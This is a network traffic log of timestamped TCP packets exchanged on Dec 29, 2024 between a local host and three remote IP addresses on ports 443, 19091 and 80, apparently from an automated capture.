Dec 29, 2024 09:02:07.760056019 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.760070086 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.760096073 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.760113955 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.765574932 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.765590906 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.765641928 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.765657902 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.765685081 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.765779972 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.770878077 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.770894051 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.770948887 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.770963907 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.771019936 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.776392937 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.776410103 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.776456118 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.776470900 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.776496887 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.776557922 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.778837919 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.778903008 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.778908968 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.779351950 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.781039953 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.781075001 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:07.781105995 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:07.781128883 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:09.334290028 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:09.454216957 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:09.454304934 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:09.456478119 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:09.575954914 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:09.784204006 CET	49739	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:09.903937101 CET	80	49739	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:09.904696941 CET	49739	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:09.904696941 CET	49739	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:10.024324894 CET	80	49739	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:10.969127893 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:10.971771955 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.091629982 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.091650963 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.091665030 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.503943920 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.503987074 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.504021883 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.504041910 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.504079103 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.504113913 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.504122019 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.504148960 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.504184961 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.504185915 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.504262924 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.504297972 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.504307032 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.504333019 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.504373074 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.512288094 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.515594959 CET	80	49739	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:11.515650988 CET	49739	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:11.559854031 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.623723030 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.637595892 CET	49739	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:11.669229031 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.720802069 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.720860958 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.720901966 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.723159075 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.723242044 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.723283052 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.731564999 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.731678009 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.731726885 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.739988089 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.740065098 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.740107059 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.748502016 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.748547077 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.748584986 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.756808996 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.756882906 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.756922960 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.757093906 CET	80	49739	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:11.765172958 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.765290022 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.765333891 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.773633003 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.773689985 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.773741961 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.781930923 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.782079935 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.782146931 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.790504932 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.790577888 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.790617943 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.798698902 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.798816919 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.798870087 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.807116985 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.840361118 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.840599060 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.938132048 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.938153028 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.938214064 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.940589905 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.940665007 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.940699100 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.946165085 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.946289062 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.946566105 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.951756001 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.951859951 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.951910019 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.957302094 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.957437038 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.957628965 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.962873936 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.962899923 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.963067055 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.968450069 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.968569994 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.968611956 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.974009991 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.974128962 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.974323988 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.977802038 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.977924109 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.978391886 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.981693029 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.981765032 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.981807947 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.985465050 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.985610008 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.985752106 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.989248991 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.989376068 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.989422083 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.993099928 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.993186951 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.993252993 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:11.996856928 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.996959925 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:11.997098923 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.000680923 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.000776052 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.001007080 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.004586935 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.004628897 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.004678011 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.037386894 CET	49740	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:12.154448032 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.154577971 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.154625893 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.156066895 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.156759977 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.156811953 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.156860113 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.156914949 CET	80	49740	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:12.156976938 CET	49740	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:12.158313036 CET	49740	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:12.160399914 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.160453081 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.160495996 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.164000988 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.164048910 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.164146900 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.167567968 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.167609930 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.167639017 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.171158075 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.171200037 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.171242952 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.174762011 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.174866915 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.174895048 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.178447008 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.178505898 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.178569078 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.181889057 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.181938887 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.181987047 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.185468912 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.185523033 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.185570002 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.185935020 CET	80	49739	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:12.186028004 CET	49739	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:12.187710047 CET	49739	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:12.189110994 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.189157963 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.189158916 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.192609072 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.192663908 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.192667007 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.196464062 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.196640968 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.196656942 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.199862003 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.199949980 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.199953079 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.203440905 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.203497887 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.203542948 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.206990957 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.207041025 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.207070112 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.210637093 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.210683107 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.210706949 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.214174032 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.214248896 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.214267969 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.217770100 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.217813015 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.217850924 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.221381903 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.221441984 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.221482038 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.224926949 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.224999905 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.225071907 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.228530884 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.228579998 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.228698015 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.232144117 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.232192039 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.232239962 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.235820055 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.235868931 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.235923052 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.239305019 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.239356995 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.239454031 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.242916107 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.242957115 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.243087053 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.246498108 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.246543884 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.277797937 CET	80	49740	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:12.307142973 CET	80	49739	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:12.371278048 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.371293068 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.371345043 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.372006893 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.372117996 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.372159004 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.375304937 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.375422001 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.375459909 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.377510071 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.377674103 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.377715111 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.380229950 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.380335093 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.380378008 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.383064985 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.383162975 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.383215904 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.385740042 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.385864019 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.385910988 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.388515949 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.388613939 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.388659000 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.391201973 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.391326904 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.391371012 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.393954039 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.394061089 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.394103050 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.396697044 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.396800041 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.396838903 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.399485111 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.399502039 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.399538994 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.402213097 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.402292013 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.402335882 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.404944897 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.405102015 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.405138016 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.407705069 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.407798052 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.407845974 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.410444021 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.410531044 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.410618067 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.413218975 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.413285971 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.413429022 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.415925026 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.416083097 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.416126966 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.418644905 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.418765068 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.418801069 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.421418905 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.421600103 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.421669006 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.424227953 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.424319983 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.424361944 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.426883936 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.426992893 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.427028894 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.429603100 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.429728985 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.429797888 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.432387114 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.432431936 CET	19091	49738	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:12.432481050 CET	49738	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:12.739072084 CET	80	49739	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:12.739135981 CET	49739	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:12.744915962 CET	49739	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:12.864434004 CET	80	49739	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:13.293493032 CET	80	49739	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:13.293662071 CET	49739	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:13.296830893 CET	49739	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:13.416635036 CET	80	49739	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:13.467242002 CET	49744	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:13.586750984 CET	19091	49744	118.107.44.219	192.168.2.4
Dec 29, 2024 09:02:13.586935043 CET	49744	19091	192.168.2.4	118.107.44.219
Dec 29, 2024 09:02:13.697072983 CET	80	49740	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:13.697175980 CET	49740	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:13.846714020 CET	80	49739	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:13.846872091 CET	49739	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:13.848267078 CET	49739	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:13.967760086 CET	80	49739	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:14.007144928 CET	49740	80	192.168.2.4	180.163.251.230
Dec 29, 2024 09:02:14.126955986 CET	80	49740	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:14.397253036 CET	80	49739	180.163.251.230	192.168.2.4
Dec 29, 2024 09:02:14.397352934 CET	49739	80	192.168.2.4	180.163.251.230
